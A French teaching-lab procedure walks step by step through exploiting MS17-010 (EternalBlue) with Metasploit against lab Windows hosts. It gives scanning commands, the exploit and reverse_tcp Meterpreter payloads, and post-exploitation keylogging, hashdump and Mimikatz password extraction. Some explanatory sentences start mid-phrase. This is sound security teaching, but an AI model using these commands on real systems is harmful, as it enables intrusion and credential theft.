Procédure d'exploitation — Metasploit Framework
MS17-010, aussi connue sous le nom EternalBlue, est une vulnérabilité critique affectant le protocole SMBv1 de Microsoft. Découverte par la NSA puis rendue publique par le groupe Shadow Brokers en avril 2017, elle a ensuite été exploitée par WannaCry et NotPetya.
| Attribut | Valeur |
|---|---|
| Identifiant CVE | CVE-2017-0144 |
| Protocole affecté | SMBv1 — Server Message Block version 1 |
| Port ciblé | 445/TCP |
| Systèmes vulnérables | Windows XP, 7, 8.1, Server 2003 / 2008 / 2012 / 2016 (sans patch) |
| Criticité | CRITIQUE — CVSS : 9.3 |
| Impact | RCE sans authentification (Remote Code Execution) |
| Patch Microsoft | MS17-010 — Mars 2017 |
srv.sys. En envoyant un paquet SMB malformé, l'attaquant peut écraser des zones mémoire du noyau Windows et exécuter du code arbitraire avec les privilèges SYSTEM, sans aucune authentification préalable.
| Machine | Rôle | Adresse IP | Identifiants |
|---|---|---|---|
| Kali Linux 2025.3 | Attaquant | 172.17.14.x |
kali / kali |
| Windows Server 2012 R2 | Cible principale | 172.17.14.113 |
Administrateur / Password1234 |
| Windows 7 SP1 x64 | Cible secondaire | 172.17.14.x |
Administrateur / Password1234 |
Depuis Kali, ouvrir un terminal et scanner le port 445 sur la cible.
# Scanner le port SMB sur la cible
nmap -p 445 172.17.14.113
PORT STATE SERVICE
445/tcp open microsoft-ds
Le port 445 est ouvert — le service SMB est actif. On peut tenter l'exploitation de MS17-010.
# 1. Démarrer Metasploit
msfconsole
# 2. Rechercher les modules disponibles
search ms17_010
# 3. Charger le scanner de détection
use auxiliary/scanner/smb/smb_ms17_010
# 4. Vérifier les options
show options
# 5. Configurer la cible
set RHOSTS 172.17.14.113
# 6. Lancer le scan
run
[+] 172.17.14.113:445 - Host is likely VULNERABLE to MS17-010!
| # | Module | Rôle |
|---|---|---|
| 0 | auxiliary/scanner/smb/smb_ms17_010 | Détection de la vulnérabilité |
| 2 | exploit/windows/smb/ms17_010_eternalblue | Exploitation + BSOD |
| 10 | exploit/windows/smb/ms17_010_psexec | Exploitation + Meterpreter |
use exploit/windows/smb/ms17_010_eternalblue
set RHOSTS 172.17.14.113
exploit
STOP: 0x0000007E — SYSTEM_THREAD_EXCEPTION_NOT_HANDLED
srv.sys. EternalBlue envoie une requête SMB Trans2 malformée qui corrompt la mémoire noyau de Windows, forçant un arrêt immédiat du système pour éviter tout dommage supplémentaire. C'est le comportement de protection Windows face à une corruption mémoire critique.
Le module ms17_010_psexec permet d'obtenir un accès complet via le payload Meterpreter, offrant une session interactive avec des capacités étendues.
# Charger le module d'exploitation Meterpreter
search ms17_010
use 10
# → exploit/windows/smb/ms17_010_psexec
# Configurer et lancer
set RHOSTS 172.17.14.113
show options
exploit
[*] Meterpreter session 1 opened
meterpreter >
meterpreter > ipconfig
Affiche les interfaces réseau, adresses IP, masques et passerelles de la machine Windows cible.
meterpreter > download C:\\Windows\\System32\\drivers\\etc\\hosts
hosts permet de réaliser des attaques de redirection DNS locale sur la cible (DNS Spoofing).Pour capturer le mot de passe Windows, il faut migrer dans le processus winlogon.exe qui gère l'écran de connexion.
# 1. Lister les processus
meterpreter > ps
# 2. Migrer vers winlogon.exe (récupérer son PID depuis la liste)
meterpreter > migrate 2848
# 3. Vérifier le PID courant
meterpreter > getpid
# 4. Démarrer le keylogger
meterpreter > keyscan_start
# → Sur la cible : verrouiller la session et saisir le mot de passe
# 5. Récupérer les frappes enregistrées
meterpreter > keyscan_dump
Keystrokes dumped:
Password1234<Return>
winlogon.exe (processus SYSTEM), le keylogger s'injecte dans le processus qui reçoit directement les événements clavier de l'écran de connexion Windows — permettant la capture du mot de passe en clair au moment de la saisie.
meterpreter > hashdump
# Charger le module Kiwi (intégration Mimikatz)
meterpreter > load kiwi
# Extraire toutes les informations d'authentification
meterpreter > creds_all
# Alternative : extraire spécifiquement les credentials WDigest
meterpreter > creds_wdigest
Les hashes NTLM peuvent être soumis à John the Ripper / Hashcat ou utilisés pour des attaques Pass-the-Hash.
lsass.exe. Mimikatz/Kiwi extrait directement cette zone mémoire pour récupérer les mots de passe en texte clair.
use exploit/windows/smb/ms17_010_eternalblue
set payload windows/x64/meterpreter/reverse_tcp
set RHOSTS <IP_WIN7>
set LHOST <IP_KALI>
exploit
meterpreter > ps
meterpreter > migrate <PID_winlogon>
meterpreter > keyscan_start
# → Attendre que l'utilisateur saisisse son mot de passe
meterpreter > keyscan_dump
# Screenshot statique (sauvegardé en PNG dans le dossier courant)
meterpreter > screenshot
# Flux en temps réel (ouvre un onglet dans le navigateur Kali)
meterpreter > screenshare
# Afficher les noms et hashes des mots de passe (base SAM)
meterpreter > hashdump
# Charger Mimikatz et afficher les mots de passe en clair
meterpreter > load kiwi
meterpreter > creds_all
# Alternative : dump direct de la base SAM via LSA
meterpreter > lsa_dump_sam
hashdump échoue faute de privilèges suffisants.meterpreter > sysinfo
meterpreter > show_mount
Liste tous les points de montage : disques durs, lecteurs DVD, clés USB présentes sur la cible.
meterpreter > arp
Affiche la table ARP de la machine cible (IP + MAC des machines connues), permettant de cartographier d'autres cibles sur le réseau local.
# 1. Créer le fichier dans Kali et y écrire un message
echo "Bonjour depuis Kali !" > /home/kali/fichier.txt
# 2. Uploader le fichier sur le bureau du PC piraté
meterpreter > upload /home/kali/fichier.txt "C:\\Users\\Administrateur\\Desktop\\fichier.txt"
Faites redémarrer à distance la machine cible.
# 1. Lister les processus pour trouver explorer.exe
meterpreter > ps
# 2. Migrer vers explorer.exe (récupérer son PID depuis la liste)
meterpreter > migrate <PID_explorer.exe>
# 3. Redémarrer la machine cible
meterpreter > reboot
| Commande | Description | Phase |
|---|---|---|
nmap -p 445 <IP> | Scanner le port SMB | Reconnaissance |
search ms17_010 | Lister les modules | Metasploit |
use auxiliary/scanner/.../smb_ms17_010 | Charger le scanner | Détection |
set RHOSTS <IP> | Définir la cible | Configuration |
run / exploit | Lancer le module | Exécution |
use .../ms17_010_eternalblue | Charger EternalBlue | BSOD |
use 10 (ms17_010_psexec) | Exploit Meterpreter | Exploitation |
set payload windows/x64/meterpreter/reverse_tcp | Payload 64 bits | Exploitation |
ipconfig | Config réseau cible | Post-exploit |
download <chemin> | Télécharger un fichier | Post-exploit |
upload <src> <dst> | Uploader un fichier | Post-exploit |
ps / migrate <PID> | Lister / Migrer processus | Post-exploit |
keyscan_start / keyscan_dump | Keylogger | Credentials |
hashdump | Hashes SAM | Credentials |
load kiwi | Charger Mimikatz | Credentials |
creds_all / creds_wdigest | Mots de passe en clair | Credentials |
screenshot / screenshare | Capture d'écran | Surveillance |
sysinfo | Informations système | Reconnaissance |
show_mount | Disques et médias | Reconnaissance |
arp | Cache ARP (réseau) | Reconnaissance |
reboot | Redémarrer la cible | Contrôle |
BTS SIO SISR — Cybersécurité — Procédure pédagogique — Environnement de lab isolé